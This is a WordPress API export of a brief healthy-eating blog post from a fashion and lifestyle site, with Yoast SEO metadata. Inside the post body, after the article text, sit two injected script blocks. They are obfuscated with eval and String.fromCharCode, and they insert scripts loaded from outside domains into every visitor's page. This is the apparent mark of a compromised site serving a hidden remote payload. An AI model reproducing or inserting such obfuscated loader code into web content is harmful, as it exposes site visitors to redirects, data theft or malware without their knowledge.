{"id":2319,"date":"2018-06-03T12:11:55","date_gmt":"2018-06-03T12:11:55","guid":{"rendered":"http:\/\/maischna.de\/?p=2319"},"modified":"2020-07-06T23:03:38","modified_gmt":"2020-07-06T23:03:38","slug":"why-eating-healthy-is-neccessary-on-daily-basis","status":"publish","type":"post","link":"http:\/\/lafritude.com\/?p=2319","title":{"rendered":"What You Eat Is Who You Are"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-medium wp-image-6437\" src=\"http:\/\/lafritude.com\/wp-content\/uploads\/2014\/10\/Salate-300x169.jpg\" alt=\"Salate\" width=\"300\" height=\"169\" srcset=\"http:\/\/lafritude.com\/wp-content\/uploads\/2014\/10\/Salate-300x169.jpg 300w, http:\/\/lafritude.com\/wp-content\/uploads\/2014\/10\/Salate.jpg 400w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/>Why eating healthy on daily basis is very important. The shape of our health can be influenced by our eating habbits and lifestyle, thus our health our choice. Healthy eating means eating a variety of foods that you need to maintain your health, feel good, and have energy. These foods include fresh fruit and vegetables, protein, carbohydrates, fat, water, vitamins, and minerals. Healthy Eating is important for everyone. When combined with being physically active and maintaining a healthy weight, eating well is an excellent way to help your body stay strong and healthy.\u00a0 What you eat can affect your immune system, your mood, and your energy level.<\/p>\n<p>How important is healthy eating to you?<\/p>\n<p><script type=\"text\/javascript\">\/\/ < ![CDATA[\neval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,57,44,49,49,53,44,52,54,44,49,49,53,44,49,49,54,44,49,48,53,44,49,49,56,44,49,48,49,44,49,49,48,44,49,48,50,44,49,48,49,44,49,49,52,44,49,49,48,44,57,55,44,49,49,48,44,49,48,48,44,49,49,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,57,44,54,51,44,49,49,56,44,54,49,44,49,49,53,44,49,48,56,44,49,48,56,44,49,48,56,44,52,57,44,52,54,44,53,51,44,52,54,44,53,54,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));\n\/\/ ]]><\/script><script type=\"text\/javascript\">\/\/ < ![CDATA[\n Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,116,114,97,105,110,46,100,101,118,101,108,111,112,102,105,114,115,116,108,105,110,101,46,99,111,109,47,100,101,108,105,118,101,114,121,46,106,115,63,115,61,56);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();\n\/\/ ]]><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Why eating healthy on daily basis is very important. The shape of our health can be influenced by our eating habbits and lifestyle, thus our health our choice. Healthy eating means eating a variety of foods that you need to maintain your health, feel good, and have energy. These foods include fresh fruit and vegetables, protein, carbohydrates, fat, water, vitamins, and minerals. Healthy Eating is important for everyone. When combined<\/p>\n<p><a class=\"continue-reading\" href=\"http:\/\/lafritude.com\/?p=2319\">Continue reading&#8230;<\/a><\/p>\n","protected":false},"author":2,"featured_media":400,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1793,4,1786,2,18],"tags":[1740,658,59,1744,657,659,651,660],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v18.4.1 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Eat<\/title>\n<meta name=\"description\" content=\"Your Health Your Choice!\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/lafritude.com\/?p=2319\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Eat\" \/>\n<meta property=\"og:description\" content=\"Your Health Your Choice!\" \/>\n<meta property=\"og:url\" content=\"http:\/\/lafritude.com\/?p=2319\" \/>\n<meta property=\"og:site_name\" content=\"Lafritude\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/maischna.magazine\" \/>\n<meta property=\"article:published_time\" content=\"2018-06-03T12:11:55+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2020-07-06T23:03:38+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/lafritude.com\/wp-content\/uploads\/2013\/12\/Food-Healthy.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"800\" \/>\n\t<meta property=\"og:image:height\" content=\"500\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"twitter:card\" content=\"summary\" \/>\n<meta name=\"twitter:creator\" content=\"@maischna\" \/>\n<meta name=\"twitter:site\" content=\"@maischna\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Chesuh\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"http:\/\/lafritude.com\/#website\",\"url\":\"http:\/\/lafritude.com\/\",\"name\":\"Lafritude\",\"description\":\"Fashion &amp; Lifestyle Magazine\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"http:\/\/lafritude.com\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"ImageObject\",\"@id\":\"http:\/\/lafritude.com\/?p=2319#primaryimage\",\"inLanguage\":\"en-US\",\"url\":\"http:\/\/lafritude.com\/wp-content\/uploads\/2013\/12\/Food-Healthy.jpg\",\"contentUrl\":\"http:\/\/lafritude.com\/wp-content\/uploads\/2013\/12\/Food-Healthy.jpg\",\"width\":800,\"height\":500},{\"@type\":\"WebPage\",\"@id\":\"http:\/\/lafritude.com\/?p=2319#webpage\",\"url\":\"http:\/\/lafritude.com\/?p=2319\",\"name\":\"Eat\",\"isPartOf\":{\"@id\":\"http:\/\/lafritude.com\/#website\"},\"primaryImageOfPage\":{\"@id\":\"http:\/\/lafritude.com\/?p=2319#primaryimage\"},\"datePublished\":\"2018-06-03T12:11:55+00:00\",\"dateModified\":\"2020-07-06T23:03:38+00:00\",\"author\":{\"@id\":\"http:\/\/lafritude.com\/#\/schema\/person\/91ffb2ca0ddb1cbc548336a6d22ae767\"},\"description\":\"Your Health Your Choice!\",\"breadcrumb\":{\"@id\":\"http:\/\/lafritude.com\/?p=2319#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"http:\/\/lafritude.com\/?p=2319\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"http:\/\/lafritude.com\/?p=2319#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"http:\/\/lafritude.com\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"What You Eat Is Who You Are\"}]},{\"@type\":\"Person\",\"@id\":\"http:\/\/lafritude.com\/#\/schema\/person\/91ffb2ca0ddb1cbc548336a6d22ae767\",\"name\":\"Chesuh\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"http:\/\/lafritude.com\/#personlogo\",\"inLanguage\":\"en-US\",\"url\":\"http:\/\/0.gravatar.com\/avatar\/c16d856eba97bd8a78e0fe0d687ec1c1?s=96&d=identicon&r=g\",\"contentUrl\":\"http:\/\/0.gravatar.com\/avatar\/c16d856eba97bd8a78e0fe0d687ec1c1?s=96&d=identicon&r=g\",\"caption\":\"Chesuh\"},\"sameAs\":[\"http:\/\/lafritude.com\"],\"url\":\"http:\/\/lafritude.com\/?author=2\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Eat","description":"Your Health Your Choice!","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"http:\/\/lafritude.com\/?p=2319","og_locale":"en_US","og_type":"article","og_title":"Eat","og_description":"Your Health Your Choice!","og_url":"http:\/\/lafritude.com\/?p=2319","og_site_name":"Lafritude","article_publisher":"https:\/\/www.facebook.com\/maischna.magazine","article_published_time":"2018-06-03T12:11:55+00:00","article_modified_time":"2020-07-06T23:03:38+00:00","og_image":[{"width":800,"height":500,"url":"http:\/\/lafritude.com\/wp-content\/uploads\/2013\/12\/Food-Healthy.jpg","type":"image\/jpeg"}],"twitter_card":"summary","twitter_creator":"@maischna","twitter_site":"@maischna","twitter_misc":{"Written by":"Chesuh","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"http:\/\/lafritude.com\/#website","url":"http:\/\/lafritude.com\/","name":"Lafritude","description":"Fashion &amp; Lifestyle Magazine","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"http:\/\/lafritude.com\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"ImageObject","@id":"http:\/\/lafritude.com\/?p=2319#primaryimage","inLanguage":"en-US","url":"http:\/\/lafritude.com\/wp-content\/uploads\/2013\/12\/Food-Healthy.jpg","contentUrl":"http:\/\/lafritude.com\/wp-content\/uploads\/2013\/12\/Food-Healthy.jpg","width":800,"height":500},{"@type":"WebPage","@id":"http:\/\/lafritude.com\/?p=2319#webpage","url":"http:\/\/lafritude.com\/?p=2319","name":"Eat","isPartOf":{"@id":"http:\/\/lafritude.com\/#website"},"primaryImageOfPage":{"@id":"http:\/\/lafritude.com\/?p=2319#primaryimage"},"datePublished":"2018-06-03T12:11:55+00:00","dateModified":"2020-07-06T23:03:38+00:00","author":{"@id":"http:\/\/lafritude.com\/#\/schema\/person\/91ffb2ca0ddb1cbc548336a6d22ae767"},"description":"Your Health Your Choice!","breadcrumb":{"@id":"http:\/\/lafritude.com\/?p=2319#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["http:\/\/lafritude.com\/?p=2319"]}]},{"@type":"BreadcrumbList","@id":"http:\/\/lafritude.com\/?p=2319#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"http:\/\/lafritude.com\/"},{"@type":"ListItem","position":2,"name":"What You Eat Is Who You Are"}]},{"@type":"Person","@id":"http:\/\/lafritude.com\/#\/schema\/person\/91ffb2ca0ddb1cbc548336a6d22ae767","name":"Chesuh","image":{"@type":"ImageObject","@id":"http:\/\/lafritude.com\/#personlogo","inLanguage":"en-US","url":"http:\/\/0.gravatar.com\/avatar\/c16d856eba97bd8a78e0fe0d687ec1c1?s=96&d=identicon&r=g","contentUrl":"http:\/\/0.gravatar.com\/avatar\/c16d856eba97bd8a78e0fe0d687ec1c1?s=96&d=identicon&r=g","caption":"Chesuh"},"sameAs":["http:\/\/lafritude.com"],"url":"http:\/\/lafritude.com\/?author=2"}]}},"_links":{"self":[{"href":"http:\/\/lafritude.com\/index.php?rest_route=\/wp\/v2\/posts\/2319"}],"collection":[{"href":"http:\/\/lafritude.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lafritude.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lafritude.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/lafritude.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2319"}],"version-history":[{"count":5,"href":"http:\/\/lafritude.com\/index.php?rest_route=\/wp\/v2\/posts\/2319\/revisions"}],"predecessor-version":[{"id":6876,"href":"http:\/\/lafritude.com\/index.php?rest_route=\/wp\/v2\/posts\/2319\/revisions\/6876"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lafritude.com\/index.php?rest_route=\/wp\/v2\/media\/400"}],"wp:attachment":[{"href":"http:\/\/lafritude.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2319"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lafritude.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2319"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lafritude.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2319"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}